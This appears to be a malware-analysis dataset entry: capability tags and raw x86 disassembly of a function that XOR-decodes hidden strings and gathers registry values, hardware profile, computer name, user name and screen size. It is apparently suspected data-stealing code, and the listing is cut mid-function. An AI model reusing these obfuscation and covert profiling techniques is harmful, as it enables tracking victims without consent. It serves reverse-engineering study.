Function at 0x40e650
Capabilities:
Encode data using xor
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Inspect section memory permissions
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x51e62c
push eax
mov dword fs:[0], esp
mov eax, 0x1ff0
push ebx
call fcn.004f8970
push esi
push edi
mov dword [ebp - 0x78], 0
mov dword [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x5451c0]
movups xmmword [ebp - 0x1f9], xmm0
mov byte [ebp - 0x1e1], 0
xorps xmm0, xmm0
movq qword [ebp - 0x1e9], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1f9], al
inc ecx
cmp ecx, 0x10
jb 0x40e6c0
lea eax, [ebp - 0x1f9]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0x334]
mov byte [ebp - 0x1e9], 0
call fcn.00402a50
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 4
call fcn.00402af0
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x298]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 6
call fcn.004029b0
xorps xmm0, xmm0
mov word [ebp - 0xd3], 0x8e9c
movq qword [ebp - 0xd1], xmm0
xor ecx, ecx
mov byte [ebp - 0xc9], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xd3], al
inc ecx
cmp ecx, 2
jb 0x40e740
lea eax, [ebp - 0xd3]
mov dword [0x558548], ecx
push eax
lea ecx, [ebp - 0x30c]
mov byte [ebp - 0xd1], 0
call fcn.00402a50
lea ecx, [ebp - 0x30c]
call fcn.00402af0
lea ecx, [ebp - 0x298]
mov esi, eax
call fcn.00402af0
push esi
push eax
call fcn.004fda60
add esp, 8
lea ecx, [ebp - 0x30c]
mov edi, eax
mov dword [ebp - 0x54], edi
call fcn.004029b0
test edi, edi
je 0x4107bf
call fcn.0040c190
movaps xmm0, xmmword [0x544310]
test eax, eax
mov ecx, 0x20019
mov dword [ebp - 0x44], 0x9d9f89bd
setne byte [ebp - 0x15]
mov dword [ebp - 0x40], 0xc89f9f86
test eax, eax
mov edx, 0x20119
mov esi, 0x5580b0
cmovne ecx, edx
cmp dword [0x5580c4], 0x10
mov dword [ebp - 0x14], ecx
cmovae esi, dword [0x5580b0]
xor ecx, ecx
movups xmmword [ebp - 0x3c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0xf
jb 0x40e7f5
lea eax, [ebp - 0x44]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x35], 0
call fcn.00402a50
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push esi
cmovae eax, dword [ebp - 0x118]
push eax
push edi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x118]
call fcn.004029b0
push 0
call fcn.00505bab
add esp, 4
mov dword [ebp - 0x1b0], eax
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x1ac], edx
push eax
call fcn.00506093
movaps xmm0, xmmword [0x543280]
add esp, 4
mov esi, eax
mov byte [ebp - 0x26], 0xaf
movups xmmword [ebp - 0x25], xmm0
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 8
jb 0x40e880
lea eax, [ebp - 0x26]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push esi
cmovae eax, dword [ebp - 0x118]
push eax
push edi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x118]
call fcn.004029b0
movaps xmm0, xmmword [0x543f80]
xor ecx, ecx
movups xmmword [ebp - 0x25], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 7
jb 0x40e8e0
lea eax, [ebp - 0x25]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
mov byte [ebp - 4], 7
lea eax, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
lea ecx, [ebp - 0x1e0]
cmovae eax, dword [ebp - 0x118]
push eax
call fcn.00402a50
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 9
call fcn.004029b0
movaps xmm0, xmmword [0x5455c0]
xor ecx, ecx
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0xf4], 0
movaps xmm0, xmmword [str.lcwgw_p]
mov dword [ebp - 0x90], 0xbda1889d
mov dword [ebp - 0x8c], 0x7671798d
movups xmmword [ebp - 0x88], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xa0], al
inc ecx
cmp ecx, 0x1f
jb 0x40e980
lea eax, [ebp - 0xa0]
mov dword [0x558518], ecx
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 0x81], 0
call fcn.00402a50
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0xf4]
push ecx
push dword [ebp - 0x14]
lea eax, [ebp - 0x130]
cmovae eax, dword [ebp - 0x130]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x130]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x40eac8
movaps xmm0, xmmword [0x543880]
xor ecx, ecx
mov dword [ebp - 0x74], 0x20019
mov dword [ebp - 0x50], 0x400
mov dword [ebp - 0xc8], 0x868e8da6
movups xmmword [ebp - 0xc4], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 0xb
jb 0x40ea20
lea eax, [ebp - 0xc8]
mov dword [0x5584e0], ecx
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 0xbd], 0
call fcn.00402a50
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0xae8]
push ecx
lea ecx, [ebp - 0x74]
push ecx
lea eax, [ebp - 0x130]
cmovae eax, dword [ebp - 0x130]
push 0
push eax
push dword [ebp - 0xf4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x130]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x40eabc
lea ecx, [ebp - 0xae8]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eaa0
sub ecx, edx
lea eax, [ebp - 0xae8]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.0047f6a0
push dword [ebp - 0xf4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x1cc], 0x10
lea esi, [ebp - 0x1e0]
movaps xmm0, xmmword [0x5442e0]
cmovae esi, dword [ebp - 0x1e0]
xor ecx, ecx
mov dword [ebp - 0x44], 0x868e8da6
mov dword [ebp - 0x40], 0xbb949e86
movups xmmword [ebp - 0x3c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0xf
jb 0x40eaf7
lea eax, [ebp - 0x44]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 0x35], 0
call fcn.00402a50
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
push esi
cmovae eax, dword [ebp - 0x130]
push eax
push edi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x130]
call fcn.004029b0
movaps xmm0, xmmword [0x543f80]
xor ecx, ecx
movups xmmword [ebp - 0xc4], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xc4], al
inc ecx
cmp ecx, 7
jb 0x40eb60
lea eax, [ebp - 0xc4]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0xbd], 0
call fcn.00402a50
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xf0]
cmp dword [ebp - 0xdc], 0x10
lea ecx, [ebp - 0x1c8]
cmovae eax, dword [ebp - 0xf0]
push eax
call fcn.00402a50
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0xc
call fcn.004029b0
push 0x7c
lea eax, [ebp - 0x510]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x40ec0c
lea ecx, [ebp - 0x50c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ebf0
sub ecx, edx
lea eax, [ebp - 0x50c]
push ecx
push eax
lea ecx, [ebp - 0x1c8]
call fcn.0047f6a0
cmp dword [ebp - 0x1b4], 0x10
lea esi, [ebp - 0x1c8]
movaps xmm0, xmmword [0x5443a0]
cmovae esi, dword [ebp - 0x1c8]
xor ecx, ecx
mov word [ebp - 0x28], 0xb9ac
mov byte [ebp - 0x26], 0xa4
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 0xa
jb 0x40ec37
push dword [ebp - 0x4c]
mov dword [0x558590], ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x1e], 0
call fcn.00402b00
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xd
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ec64
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00402b20
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
push esi
cmovae eax, dword [ebp - 0x44]
push eax
push edi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x44]
call fcn.004029b0
lea ecx, [ebp - 0x2d0]
call fcn.0040d280
mov dword [ebp - 0x78], eax
xorps xmm0, xmm0
mov byte [ebp - 0x168], 0xb4
movq qword [ebp - 0x167], xmm0
xor ecx, ecx
mov byte [ebp - 0x15f], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x168], al
inc ecx
cmp ecx, 1
jb 0x40ecc5
push dword [ebp - 0x4c]
mov dword [0x5585d0], ecx
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x167], 0
call fcn.00402b00
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 0xf
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ed00
sub ecx, edx
lea eax, [ebp - 0x168]
push ecx
push eax
lea ecx, [ebp - 0x118]
call fcn.00402b20
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
lea ecx, [ebp - 0x37c]
cmovae eax, dword [ebp - 0x118]
mov dword [ebp - 0x48], eax
call fcn.0040d210
mov dword [ebp - 0x74], eax
xorps xmm0, xmm0
mov byte [ebp - 0x15e], 0xb4
movq qword [ebp - 0x15d], xmm0
xor ecx, ecx
mov byte [ebp - 0x155], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x15e], al
inc ecx
cmp ecx, 1
jb 0x40ed60
push dword [ebp - 0x4c]
mov dword [0x5585d0], ecx
lea ecx, [ebp - 0x130]
mov byte [ebp - 0x15d], 0
call fcn.00402b00
lea ecx, [ebp - 0x15e]
mov byte [ebp - 4], 0x12
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eda0
sub ecx, edx
lea eax, [ebp - 0x15e]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.00402b20
cmp dword [ebp - 0x11c], 0x10
lea esi, [ebp - 0x130]
xorps xmm0, xmm0
mov byte [ebp - 0x172], 0xb4
cmovae esi, dword [ebp - 0x130]
xor ecx, ecx
movq qword [ebp - 0x171], xmm0
mov byte [ebp - 0x169], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x172], al
inc ecx
cmp ecx, 1
jb 0x40edf0
push dword [ebp - 0x4c]
mov dword [0x5585d0], ecx
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x171], 0
call fcn.00402b00
lea ecx, [ebp - 0x172]
mov byte [ebp - 4], 0x14
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ee30
sub ecx, edx
lea eax, [ebp - 0x172]
push ecx
push eax
lea ecx, [ebp - 0x22c]
call fcn.00402b20
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x22c]
cmp dword [ebp - 0x218], 0x10
lea edx, [ebp - 0x1e0]
lea ecx, [ebp - 0x364]
cmovae eax, dword [ebp - 0x22c]
push eax
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1c8]
mov byte [ebp - 4], 0x16
push ecx
mov edx, eax
lea ecx, [ebp - 0x34c]
call fcn.00483ac0
add esp, 4
mov edx, eax
mov ecx, esi
mov byte [ebp - 4], 0x17
lea eax, [ecx + 1]
mov dword [ebp - 0x50], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eea2
sub ecx, dword [ebp - 0x50]
push ecx
push esi
mov ecx, edx
call fcn.00482480
push eax
lea ecx, [ebp - 0x148]
call fcn.00402a00
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x148]
push dword [ebp - 0x74]
lea ecx, [ebp - 0x18c]
push eax
push dword [ebp - 0x4c]
call fcn.00487360
mov byte [ebp - 4], 0x19
mov esi, dword [ebp - 0x48]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eef0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x18c]
call fcn.00482480
push eax
lea ecx, [ebp - 0x214]
call fcn.00402a00
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x214]
push dword [ebp - 0x78]
lea ecx, [ebp - 0x244]
push eax
push dword [ebp - 0x4c]
call fcn.00487360
lea ecx, [ebp - 0x214]
call fcn.004029b0
lea ecx, [ebp - 0x18c]
call fcn.004029b0
lea ecx, [ebp - 0x148]
call fcn.004029b0
lea ecx, [ebp - 0x34c]
call fcn.004029b0
lea ecx, [ebp - 0x364]
call fcn.004029b0
lea ecx, [ebp - 0x22c]
call fcn.004029b0
lea ecx, [ebp - 0x130]
call fcn.004029b0
lea ecx, [ebp - 0x37c]
call fcn.004029b0
lea ecx, [ebp - 0x118]
call fcn.004029b0
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 4], 0x25
call fcn.004029b0
xorps xmm0, xmm0
mov byte [ebp - 0x260], 0
lea ecx, [ebp - 0x490]
movups xmmword [ebp - 0x280], xmm0
movups xmmword [ebp - 0x270], xmm0
call fcn.0049b9e0
cmp dword [ebp - 0x230], 0x10
lea eax, [ebp - 0x244]
push dword [ebp - 0x234]
cmovae eax, dword [ebp - 0x244]
lea ecx, [ebp - 0x490]
push eax
call fcn.0049b7e0
push 0
lea ecx, [ebp - 0x490]
call fcn.0049b8b0
cmp byte [ebp - 0x3f4], 0
je 0x40f027
movups xmm0, xmmword [ebp - 0x3e3]
mov al, byte [ebp - 0x3c3]
mov byte [ebp - 0x260], al
movups xmmword [ebp - 0x280], xmm0
movups xmm0, xmmword [ebp - 0x3d3]
movups xmmword [ebp - 0x270], xmm0
movaps xmm0, xmmword [0x5443a0]
xor ecx, ecx
mov word [ebp - 0x28], 0xbba3
mov byte [ebp - 0x26], 0xa4
movups xmmword [ebp - 0x25], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 0xa
jb 0x40f040
push dword [ebp - 0x4c]
mov dword [0x558590], ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x1e], 0
call fcn.00402b00
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x26
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f070
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00402b20
cmp dword [ebp - 0x30], 0x10
lea ecx, [ebp - 0x280]
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
push ecx
push eax
push edi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x44]
call fcn.004029b0
push 0x104
lea eax, [ebp - 0xbf0]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
mov dword [ebp - 0x48], 0
lea eax, [ebp - 0x48]
push eax
push 0x40d050
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xbf0]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movaps xmm0, xmmword [0x544380]
xor ecx, ecx
mov dword [ebp - 0x2a], 0x8fbde6e6
mov byte [ebp - 0x26], 0x9b
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 0xc
jb 0x40f105
push dword [ebp - 0x4c]
mov dword [0x5584d8], ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x1e], 0
call fcn.00402b00
lea ecx, [ebp - 0x2a]
mov byte [ebp - 4], 0x27
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f132
sub ecx, edx
lea eax, [ebp - 0x2a]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00402b20
cmp dword [ebp - 0x30], 0x10
lea ecx, [ebp - 0xbf0]
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
push ecx
push eax
push edi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x44]
call fcn.004029b0
movaps xmm0, xmmword [0x545f60]
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
movups xmmword [ebp - 0x70], xmm0
cmovae esi, dword [ebx + 8]
xor ecx, ecx
xorps xmm0, xmm0
mov byte [ebp - 0x58], 0
movq qword [ebp - 0x60], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x70], al
inc ecx
cmp ecx, 0x10
jb 0x40f190
push dword [ebp - 0x4c]
mov dword [0x5585d8], ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x60], 0
call fcn.00402b00
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x28
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f1c0
sub ecx, edx
lea eax, [ebp - 0x70]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00402b20
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
push esi
cmovae eax, dword [ebp - 0x44]
push eax
push edi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x44]
call fcn.004029b0
cmp dword [ebx + 0x60], 0
je 0x40f207
cmp dword [ebx + 0x64], 0x10
lea esi, [ebx + 0x50]
cmovae esi, dword [ebx + 0x50]
jmp 0x40f20c
mov esi, 0x53eb20
movaps xmm0, xmmword [0x544320]
xor ecx, ecx
mov byte [ebp - 0x26], 0xa2
movups xmmword [ebp - 0x25], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 8
jb 0x40f220
push dword [ebp - 0x4c]
mov dword [0x5585d4], ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x1e], 0
call fcn.00402b00
lea ecx, [ebp - 0x26]
mov byte [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f250
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00402b20
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
push esi
cmovae eax, dword [ebp - 0x44]
push eax
push edi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x44]
call fcn.004029b0
cmp dword [ebx + 0x48], 0
je 0x40f297
cmp dword [ebx + 0x4c], 0x10
lea esi, [ebx + 0x38]
cmovae esi, dword [ebx + 0x38]
jmp 0x40f29c
mov esi, 0x53eb20
cmp dword [ebx + 0x30], 0
je 0x40f2b2
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
cmovae eax, dword [ebx + 0x20]
mov dword [ebp - 0x48], eax
jmp 0x40f2b9
mov dword [ebp - 0x48], 0x53eb20
movaps xmm0, xmmword [0x545110]
xor ecx, ecx
movups xmmword [ebp - 0xf0], xmm0
mov word [ebp - 0xe0], 0xf6f6
xorps xmm0, xmm0
mov byte [ebp - 0xd6], 0
movq qword [ebp - 0xde], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xf0], al
inc ecx
cmp ecx, 0x12
jb 0x40f2e4
push dword [ebp - 0x4c]
mov dword [0x55858c], ecx
lea ecx, [ebp - 0x70]
mov byte [ebp - 0xde], 0
call fcn.00402b00
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x2a
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f320
sub ecx, edx
lea eax, [ebp - 0xf0]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.00402b20
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x25
call fcn.00402af0
push esi
push dword [ebp - 0x48]
push eax
push edi
call fcn.00402f10
add esp, 0x10
lea ecx, [ebp - 0x70]
call fcn.004029b0
movaps xmm0, xmmword [0x5455c0]
xor ecx, ecx
movups xmmword [ebp - 0xad], xmm0
mov dword [ebp - 0xf8], 0
movaps xmm0, xmmword [0x544f60]
movups xmmword [ebp - 0x9d], xmm0
mov dword [ebp - 0x8d], 0x60687e79
movaps xmm0, xmmword [str.Ft__zx]
mov byte [ebp - 0x89], 0x7b
movups xmmword [ebp - 0x88], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xad], al
inc ecx
cmp ecx, 0x2c
jb 0x40f3a2
lea eax, [ebp - 0xad]
mov dword [0x558568], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x81], 0
call fcn.00402a50
mov edi, 0x10c00000
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], edi
call fcn.00402af0
lea ecx, [ebp - 0xf8]
push ecx
push dword [ebp - 0x14]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x40f634
movaps xmm0, xmmword [0x543810]
xor ecx, ecx
mov dword [ebp - 0x74], 0x20019
mov dword [ebp - 0x50], 0x400
mov dword [ebp - 0x29], 0x8a829ebb
movups xmmword [ebp - 0x25], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 0xb
jb 0x40f430
lea eax, [ebp - 0x29]
mov dword [0x5584e0], ecx
push eax
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
cmp dword [ebp - 0xdc], 0x10
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0xae8]
push ecx
lea ecx, [ebp - 0x74]
push ecx
lea eax, [ebp - 0xf0]
cmovae eax, dword [ebp - 0xf0]
push 0
push eax
push dword [ebp - 0xf8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x40f628
xor ecx, ecx
xorps xmm0, xmm0
cmp byte [ebp - 0x15], cl
je 0x40f513
mov word [ebp - 0xc0], 0xda93
mov byte [ebp - 0xbe], 0xd9
movq qword [ebp - 0xbd], xmm0
mov byte [ebp - 0xb5], cl
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xc0], al
inc ecx
cmp ecx, 3
jb 0x40f4d0
lea eax, [ebp - 0xc0]
mov dword [0x558540], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0xbd], 0
call fcn.00402a50
mov byte [ebp - 4], 0x2b
lea esi, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
mov edi, 0x10c00001
cmovae esi, dword [ebp - 0x70]
jmp 0x40f561
mov word [ebp - 0x21], 0xdf93
mov byte [ebp - 0x1f], 0xdf
movq qword [ebp - 0x1e], xmm0
mov byte [ebp - 0x16], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 3
jb 0x40f526
lea eax, [ebp - 0x21]
mov dword [0x558540], ecx
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
mov dword [ebp - 4], 0x2c
lea esi, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
mov edi, 0x10c00002
cmovae esi, dword [ebp - 0x44]
movaps xmm0, xmmword [0x545cb0]
xor ecx, ecx
movups xmmword [ebp - 0x93], xmm0
mov dword [ebp - 0x78], edi
xorps xmm0, xmm0
mov dword [ebp - 0x14], edi
mov word [ebp - 0x83], 0xf6f6
movq qword [ebp - 0x81], xmm0
mov byte [ebp - 0x79], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x12
jb 0x40f590
lea eax, [ebp - 0x93]
mov dword [0x55858c], ecx
push eax
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0x81], 0
call fcn.00402a50
cmp dword [ebp - 0xdc], 0x10
lea ecx, [ebp - 0xae8]
mov edi, dword [ebp - 0x54]
lea eax, [ebp - 0xf0]
cmovae eax, dword [ebp - 0xf0]
push esi
push ecx
push eax
push edi
call fcn.00402f10
add esp, 0x10
lea ecx, [ebp - 0xf0]
call fcn.004029b0
mov eax, dword [ebp - 0x14]
test al, 2
je 0x40f60c
and eax, 0xfffffffd
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], eax
call fcn.004029b0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x25
test al, 1
je 0x40f625
and eax, 0xfffffffe
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x14], eax
call fcn.004029b0
mov edi, dword [ebp - 0x14]
push dword [ebp - 0xf8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xcf8]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
mov dword [ebp - 0x190], 0x104
lea eax, [ebp - 0x190]
push eax
lea eax, [ebp - 0xcf8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movaps xmm0, xmmword [0x545f40]
xor ecx, ecx
movups xmmword [ebp - 0x94], xmm0
mov word [ebp - 0x84], 0xf188
xorps xmm0, xmm0
mov byte [ebp - 0x82], 0xf7
movq qword [ebp - 0x81], xmm0
mov byte [ebp - 0x79], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0x13
jb 0x40f6a0
lea eax, [ebp - 0x94]
mov dword [0x558558], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x81], 0
call fcn.00402a50
lea ecx, [ebp - 0x70]
or edi, 0x20000000
call fcn.00402af0
mov esi, dword [ebp - 0x54]
lea ecx, [ebp - 0xcf8]
push ecx
push eax
push esi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x70]
call fcn.004029b0
push 0x104
lea eax, [ebp - 0xe00]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
mov dword [ebp - 0x194], 0x104
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0xe00]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x5442d0]
xor ecx, ecx
mov dword [ebp - 0x44], 0x9c889fbe
mov dword [ebp - 0x40], 0x9f90becf
movups xmmword [ebp - 0x3c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0xf
jb 0x40f746
lea eax, [ebp - 0x44]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x35], 0
call fcn.00402a50
lea ecx, [ebp - 0x70]
or edi, 0x40000000
call fcn.00402af0
lea ecx, [ebp - 0xe00]
push ecx
push eax
push esi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x70]
call fcn.004029b0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x2b8]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm0, xmmword [0x545440]
xor ecx, ecx
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x8c], 0xdec79294
movaps xmm0, xmmword [0x542cc0]
movups xmmword [ebp - 0x88], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x9c], al
inc ecx
cmp ecx, 0x1b
jb 0x40f7d0
lea eax, [ebp - 0x9c]
mov dword [0x5585c8], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x81], 0
